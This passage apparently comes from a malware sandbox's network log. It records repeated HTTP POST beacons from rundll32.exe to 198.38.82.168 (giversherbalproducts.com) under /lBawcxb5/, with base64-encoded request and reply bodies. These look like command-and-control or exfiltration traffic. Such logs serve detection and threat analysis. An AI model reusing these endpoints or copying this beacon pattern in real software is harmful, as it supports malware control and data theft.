Oct 4, 2021 16:03:41.898406029 CEST	7416	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:41 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 35 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh5fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.3	50154	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:42.318475962 CEST	7418	OUT	POST /lBawcxb5/HRksIwQOHDw7KBMPDCUeHgQnIxZCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:42.809406042 CEST	7419	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:42 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 35 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh5fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.3	50155	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:42.537494898 CEST	7419	OUT	POST /lBawcxb5/IxkBLygdGQ4pey95Ji4HDnk8NSYMBS04fAAnQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:43.034735918 CEST	7420	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:42 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 35 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh5fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.3	50156	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:43.210180998 CEST	7421	OUT	POST /lBawcxb5/CH56O30eDBI7IBMIKCYBLicRLTpCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:48.706465006 CEST	7431	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:43 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 35 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh5dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.3	50157	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:43.559475899 CEST	7422	OUT	POST /lBawcxb5/PQwlJSU8JC8lO31DenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:44.062783957 CEST	7423	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:43 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 35 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh5f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.3	50158	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:44.441545010 CEST	7423	OUT	POST /lBawcxb5/KX85G344OQ07N0J7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:44.929791927 CEST	7424	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:44 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 35 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh5eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.2.3	50159	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:45.345016003 CEST	7425	OUT	POST /lBawcxb5/ETg7OCExOR8LIxECPSMlHARCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:45.831290960 CEST	7426	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:45 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 35 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh5eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
318	192.168.2.3	50160	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:46.195215940 CEST	7426	OUT	POST /lBawcxb5/GCYaJQk6DgYpLX8iLDQuHBIzPzcieQoPJ3sSE0V+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:46.679500103 CEST	7427	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:46 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 35 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh5ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
319	192.168.2.3	50161	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:47.092008114 CEST	7428	OUT	POST /lBawcxb5/Lit5Oh4tBDx8BCAjKTQqIx54OnoMeAQkRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:47.531234026 CEST	7429	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:47 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 35 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh5e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49787	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:26.600115061 CEST	1093	OUT	POST /lBawcxb5/DCwZNSYnBRJFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:27.086170912 CEST	1107	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:26 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 